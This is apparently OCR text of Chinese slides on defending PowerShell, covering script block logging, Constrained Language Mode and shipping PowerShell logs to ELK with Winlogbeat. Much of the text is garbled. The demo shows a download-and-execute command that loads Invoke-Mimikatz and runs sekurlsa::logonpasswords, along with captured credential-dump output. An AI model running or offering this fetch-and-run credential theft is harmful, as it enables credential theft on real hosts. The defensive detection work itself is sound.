g FSRE B

O 2017/6/13 20:05:15 PowerShell (Microsoft-Wind... 4104 HiTmiEsS
S 4104, FowerShell (Microsoft-¥indows—FowerShell) X
B RS B windows PowerShell ISE
e B i W B ( L= I T W W At iy T ME) R®EE WEV) IED D) MimIEA) MyCommands Features PSSharper Compatik
{ s UL Hd.4& <« O0Ox 9 &_ Db 30 . % _ |5
return ${ /=\ /=\/=\ *${/=\ ==\ : — . = . = =
: e g 208 0@ =@ 0% @ 5 S O
__N==\_/==V=\9.87 e SN 7E6.ps1® X
. (main)
ScriptBlock ID: d5cc7407-e116-4ec6-bd58-38c2e27313%e P
Bz ‘Edm_:tion A\S==\__/ )
: t 'r_f :.-'_.-"’ : 'l: } F_ :_ =N ="
HEEZFR(M):  Microsoft-Windows-PowerShell/Operational 4 return $1/=\/=\, MRSV
SEE(S): PowerShell (Microso i2ZAH#EI(D): 2017/6/13 20:05:1| » 5 —/\/==\_/==\/=\ 9.87
=4 ID(E): 4104 EEZS5Y): hiTinERS
RANL): e i FEFK: &L
AF(U): DESKTOP-TQHIVA\T it&#L(R): DESKTOP-TQHUVA
BEHES(0):  EREERER
BEZER(): i 5




E PowerShell Constrained mode

‘FuIILanguage (155

RestrictedLanguage(fRENES

NolLanguage (R BI1ES)

ConstrainedLanguage ( AJ5RIES )

B EE= st
$ExecutionContext. SessionState.LanguageMo
de

BRYRIESRT
[Environment]::SetEnvironmentVariable("__PSL

ockdownPolicy', '4', ‘Machine')
ITEYIEE\ Bt WindowsigE\#1E




E PowerShell Constrained mode

P> C:\Users\Thinkpad> $ExecutionContext. SessionState. LanguageMode
ulllanguage |
S (0:\Users\Thinkpad> TEX (New-Object Net.TWebClient). DownloadString( ) Tnvoke-Mimikatz

HHbEE  mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
B8 Ala Ve AL Anow”
Benjamin DELPY gentilkiwi ( benjamin@gentilkivi. con )
't v 88 http://blog. gentilkiwi. con/minikatz (0e. e0)
' i with 20 modules ¥ * %/

-
=2
Hi L A
BR\/ BR
)

!

imikatz (powershell) & sekurlsa::logonpasswords |
FRROR kuhl m sekurlsa acquirelSA : Handle on memory (0x00000003)

imikatz (powershell) & exit




E PowerShell Constrained mode

S C:\Users\Thinkpad> $ExecutionContext.SessionState. LanguageMode
onstrainedlanguage | ; ; - |
S C:\Users\Thinkpad> TEX (New-Ohject Net.WehClient) DownloadString( http://127.0.0.1/Invoke-Mimikatz. psll’); Invoke-Mimikatz




E ELK PowerShell

ElasticSearch. Logstash . Kibana
Winlogbeat . ElasticSearch. Kibana. elastalert (%5%)

K#[FJ i’ﬁiﬁfﬁ) BEE MRV Eﬁﬁﬂﬂ 155 (L) 'lzﬁﬂ) IE-(EIJ ?E(MJ IEfTERY MGEEE) BOMW 7
[&] |JJ 8 o =l = ﬁﬁ-:} 5 2 | LS = =E —'D"?: : *

|:| winlogheat. ymlEd |

w1111::ugbeat event _logs:
- name: Microsoft-Windows-PowerShell/Operational

=============c=c==x C;t](_:'_lt-S E e S
e Elasticsearch output -—————————————-
ontput.elastic=search

# Array of hosts to connect to

host=: ["10.16.144.35:9200"]




E ELK PowerShell

&« c | (0] lo.m:SGUljapp/kibana?#/cliscover?fg=(refreshlnterva\:[display:Off,pause:!f,va\ue:O],t\'me:(‘From:nowfly,mode:quick,to:now])&j=(columns:!Lsource],\'ndex:‘winlogbeat—*',intervaI:auto,query:(quely,string:(ana\yze,wildcar

7 event_data.Payload m * ParameterBinding(Out-Default): £ ="InputObject™: {§ ="
- LEEREE, mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14 4 o W[ = | 0

kibana LT e Oe9 15:08 & 0.12K/s % 100 B8 2 il 4G il 57% W
EE AN I

E-= AN 3 Benjamin DELPY "gentilkiwi’ { benjamin@gentilkiwi.com ) i&mﬁﬂ:m
"#E v o#E' http://blog.gentilkiwi.com/mimikatz (oe. 20} i— =] 1

. THaeEE’ with 20 modules = =
Visualize ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

Dashboard mimikatz(powershell) # sekurlsa::logonpasswords

Timelion Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN-LTQROOLG4CQS
Domain : WORKGROUP
Logon Server s (nu1T)
Manageme Logon Time : 2017/6/12 18:38:19
5ID : 5-1-5-20

msv

tspkg :

wdigest

* Username : WIN-LTQROOLG4CQS

= Domain : WORKGROUP

* Password : (null)

kerberos

* Username : win-ltgro0164cqd

= Domain : WORKGROUP

* Password : (null)

s5p

credman

Dev Tools

Authentication Id : O ; 47464 (00000000 :0000b9EE)

Session : UndefinedLogonType from O
User Mame HEGUIRD]
Domain HEGUIRD]
Logon Server HEGUIRD]
Logon Time i 2017/6/12 18:38:17
5ID H

msy

tspkg :

wdigest

kerberos

ssp s

credman

Authentication Id : 0 ; 602225 (00000000:00093071) [ = |

Session : Interactive from 1 |

User Name : Administrator > 2017-08-17 15:04:52
Domain : WIN-LTQROOLG4CQ . Y

Logon Server : WIN-LTQROOLG4CQ kmpowerShEHI&ﬂ.—T
Logon Time : 2017/6/12 18:42:06 i H H

SID ¢ 5-1-5-21-1334911466-443186331-4248587964-500 >m|m|katz







